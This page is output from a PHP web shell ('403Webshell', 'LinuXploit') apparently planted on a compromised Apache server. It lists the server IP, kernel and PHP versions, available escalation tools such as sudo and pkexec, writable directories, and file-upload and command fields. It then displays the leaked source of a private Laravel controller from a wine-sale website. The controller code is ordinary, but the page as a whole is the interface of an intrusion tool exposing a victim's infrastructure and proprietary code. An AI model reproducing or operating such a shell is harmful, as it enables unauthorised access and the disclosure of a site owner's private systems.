403Webshell
Server IP : 54.94.228.101  /  Your IP : 172.28.20.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vinumday2_0/app/Http/Controllers/Website/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vinumday2_0/app/Http/Controllers/Website/OfertaDaSemanaController.php
<?php

namespace App\Http\Controllers\Website;

use App\Http\Requests;
use Illuminate\Http\Request;
use App\Http\Controllers\BaseController;

use App\Modules\BannerFooter\Models\BannerFooter;
use App\Modules\Oferta\Models\Oferta;
use App\Modules\Tema\Models\Tema;

use App\Modules\Produto\Models\Produto;
use App\Modules\Noticia\Models\Noticia;

use App\Modules\Canal\Models\Canal;
use App\Services\GeralService;
use App\BasicInfo;
use App\Services\OfertaService;

class OfertaDaSemanaController extends BaseController
{
    /**
     * Create a new controller instance.
     *
     * @return void
     */
    public function __construct()
    {
        parent::__construct();
    }

    /**
     * Show the application dashboard.
     *
     * @return \Illuminate\Http\Response
     */
    public function index(Request $request)
    {
        $data          = array();
        $dataAtual     = date('Y-m-d H:i');
        $clienteLogado = GeralService::buscarClienteLogado();

        $data['listaCanais']   = GeralService::buscarListaCanais();

        $data['ofertasRelacionadas'] = GeralService::buscarOfertasRelacionadas([
            'limit'         => 4,
            'oferta_semana' => false,
            'random'        => false
        ]);

        $data['listaNoticias'] = Noticia::orderBy('nome')->limit(2)->get();
        $data['bannerFooter']  = BannerFooter::first();
        $data['oferta']        = GeralService::buscarOfertaDaSemana();
        $data['tema']          = Tema::where('id',$data['oferta']['tema_id'])->first();

        GeralService::checkoutTracking('oferta', ['id_tipo' => $data['oferta']->id]);

        $data['htmlPassouAqui'] = (GeralService::buscarPassouAqui())->getData()->html;

        $data['cadastroSuccess'] = ($request->input('cadastro') == 'success') ? true : false;

        $data['canaisLiberados'] = BasicInfo::first()->value('liberar_canais');

        $data['data_fim_oferta'] = date('Y-m-d', strtotime("+6 days",strtotime($data['oferta']->data)));

        $data['htmlMailchimpCadastro'] = ($clienteLogado ? false : GeralService::buscarHtmlMailchimpCadastro());

        $data['clienteLogado'] = $clienteLogado;
        $data['dadosAdega']    = GeralService::buscarFreteAdegaAberta();
        $data['oferta_dia']    = GeralService::buscarOfertaDia();

        $data['data_oferta_semana'] = GeralService::dataOfertaSemana();

        $data['valido_adega_virada_semana'] = GeralService::validarOfertaAdegaVirada($data['oferta']);

        return view('site/oferta-semana', $data);
    }

    /**
     * Show the application dashboard.
     *
     * @return \Illuminate\Http\Response
     */
    public function preview($slug, Request $request)
    {
        $data          = array();
        $dataAtual     = date('Y-m-d H:i');
        $clienteLogado = GeralService::buscarClienteLogado();

        $data['listaCanais'] = GeralService::buscarListaCanais();

        $data['ofertasRelacionadas'] = GeralService::buscarOfertasRelacionadas([
            'limit'      => 4,
            'oferta_dia' => true
        ]);

        $data['listaNoticias'] = Noticia::orderBy('nome')->limit(2)->get();
        $data['bannerFooter']  = BannerFooter::first();
        $data['oferta']        = Oferta::where('slug', $slug)->where('tipo', 'S')->first();
        $data['tema']          = Tema::where('id',$data['oferta']['tema_id'])->first();

        $data['htmlPassouAqui'] = (GeralService::buscarPassouAqui())->getData()->html;

        $data['cadastroSuccess'] = ($request->input('cadastro') == 'success') ? true : false;

        $data['canaisLiberados'] = BasicInfo::first()->value('liberar_canais');

        $data['data_fim_oferta'] = date('Y-m-d', strtotime("+6 days",strtotime($data['oferta']->data)));

        $data['htmlMailchimpCadastro'] = ($clienteLogado ? false : GeralService::buscarHtmlMailchimpCadastro());

        $data['clienteLogado'] = $clienteLogado;
        $data['dadosAdega']    = GeralService::buscarFreteAdegaAberta();
        $data['oferta_dia']    = GeralService::buscarOfertaDia();

        return view('site/preview-oferta-semana', $data);
    }
    
    public function detalhe($slug){
        $data = array();
        $data['oferta'] = Oferta::where('slug',$slug)->with('produtos')->first();
        foreach ($data['oferta']->produtos as $key => $produto) {
            $data['oferta']->produtos[$key]->listaImagens = $produto->produto->getListaImagens();
        }
        $canal = Canal::join('canal_has_oferta', 'canal.id', '=', 'canal_has_oferta.id_canal')->where('canal_has_oferta.id_oferta', $data['oferta']->id)->first();

        GeralService::checkoutTracking('oferta', ['id_tipo' => $data['oferta']->id]);

        //$data['titulo_pagina'] = $canal ? $canal->nome : $data['oferta']->titulo;
        //$data['subtitulo_pagina'] = $canal ? $canal->subtitulo : $data['oferta']->sub_titulo;
        if($data['oferta']->tipo == 'D' && date('Y-m-d') == $data['oferta']->data){
            $data['titulo_pagina'] = 'Oferta';
            $data['subtitulo_pagina'] = 'Do dia';
        }elseif($data['oferta']->tipo == 'S'){
            $data['titulo_pagina'] = 'Oferta';
            $data['subtitulo_pagina'] = 'Da Semana';
        }elseif($data['oferta']->tipo == 'E'){
            $data['titulo_pagina'] = 'Oferta';
            $data['subtitulo_pagina'] = 'Exclusiva';
        }else{
            $data['titulo_pagina'] = $canal ? $canal->nome : '';
            $data['subtitulo_pagina'] = $canal ? $canal->subtitulo : '';
        }
        
        $data['canal'] = $canal;

        $data['data_oferta_semana'] = GeralService::dataOfertaSemana();

        $data['data_fim_oferta'] = date('Y-m-d', strtotime("+7 days",strtotime($data['oferta']->data)));

        $data['ofertasRelacionadas'] = GeralService::buscarOfertasRelacionadas([
            'limit'         => 4,
            'oferta_semana' => false,
            'random'        => false
        ]);

        $data['canaisLiberados'] = BasicInfo::first()->value('liberar_canais');

        $data['date_limite_exclusiva'] = date('Y-m-d', strtotime("-5 day"));

        $data['clienteLogado'] = GeralService::buscarClienteLogado();
        $data['dadosAdega']    = GeralService::buscarFreteAdegaAberta();
        $data['oferta_dia']    = GeralService::buscarOfertaDia();

        return view('site/oferta-da-semana',$data);
    }

    public function changeProdutoCombo(Request $request){
        $post = $request->input();

        $data = [];

        $data['vinho'] = Produto::with('caracteristicas','tipo','paisOrigem','fornecedor')->find($post['id_produto']);

        $html = view('site/informacoes-produto',$data)->render();

        return response()->json([
            'status' => true,
            'message' => 'Informações carregadas com sucesso!',
            'html' => $html
        ]);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit